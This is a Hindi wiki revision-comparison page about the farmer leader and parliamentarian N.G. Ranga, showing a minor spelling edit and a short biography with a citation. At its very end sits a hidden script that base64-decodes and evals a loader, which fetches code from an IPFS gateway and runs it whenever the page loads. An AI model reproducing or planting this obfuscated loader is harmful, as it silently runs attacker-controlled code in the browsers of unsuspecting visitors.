"एन.जी. रंगा": अवतरणों में अंतर
भारत डिस्कवरी प्रस्तुति
('*एन.जी. रंगा एक प्रमुख कृषक नेता तथा सांसद थे। *इनका क...' के साथ नया पन्ना बनाया) |
व्यवस्थापन (वार्ता | योगदान) छो (Text replace - "आवाज" to "आवाज़") |
||
पंक्ति 2: | पंक्ति 2: | ||
*इनका कार्यक्षेत्र [[आन्ध्र प्रदेश]] था। | *इनका कार्यक्षेत्र [[आन्ध्र प्रदेश]] था। | ||
*ये आरम्भ से ही किसानों की समस्याओं से जुड़े रहे। | *ये आरम्भ से ही किसानों की समस्याओं से जुड़े रहे। | ||
*इन्होंने किसानों के शोषण के विरूद्ध | *इन्होंने किसानों के शोषण के विरूद्ध आवाज़ उठाई तथा उन्हें संगठित किया। | ||
*इन्होंने 1931 ई. में आन्ध्र प्रदेश रैयत सभा की स्थापना की। | *इन्होंने 1931 ई. में आन्ध्र प्रदेश रैयत सभा की स्थापना की। | ||
*ये कांग्रेस समाजवादी पार्टी से उसकी स्थापना के साथ ही जुड़ गए। | *ये कांग्रेस समाजवादी पार्टी से उसकी स्थापना के साथ ही जुड़ गए। |
16:25, 8 जुलाई 2011 का अवतरण
- एन.जी. रंगा एक प्रमुख कृषक नेता तथा सांसद थे।
- इनका कार्यक्षेत्र आन्ध्र प्रदेश था।
- ये आरम्भ से ही किसानों की समस्याओं से जुड़े रहे।
- इन्होंने किसानों के शोषण के विरूद्ध आवाज़ उठाई तथा उन्हें संगठित किया।
- इन्होंने 1931 ई. में आन्ध्र प्रदेश रैयत सभा की स्थापना की।
- ये कांग्रेस समाजवादी पार्टी से उसकी स्थापना के साथ ही जुड़ गए।
- इन्होंने आन्ध्र प्रदेश के नीदुब्रोलु कस्बे में ‘इण्डियन पेजेण्ट इन्स्टीट्यूट’ की स्थापना की, जिसका मुख्य उद्देश्य किसान कार्यकलापों को प्रशिक्षण देना था।
- स्वतन्त्रता प्राप्ति के पश्चात वे लोकसभा के सदस्य बने तथा लगातार आठ बार लोकसभा के लिए चुने गए, जो कीर्तिमान है।
- कुछ समय पूर्व ही उनकी मृत्यु हुई है।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
नागोरी, डॉ. एस.एल. “खण्ड 3”, स्वतंत्रता सेनानी कोश (गाँधीयुगीन), 2011 (हिन्दी), भारतडिस्कवरी पुस्तकालय: गीतांजलि प्रकाशन, जयपुर, पृष्ठ सं 84।
बाहरी कड़ियाँ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>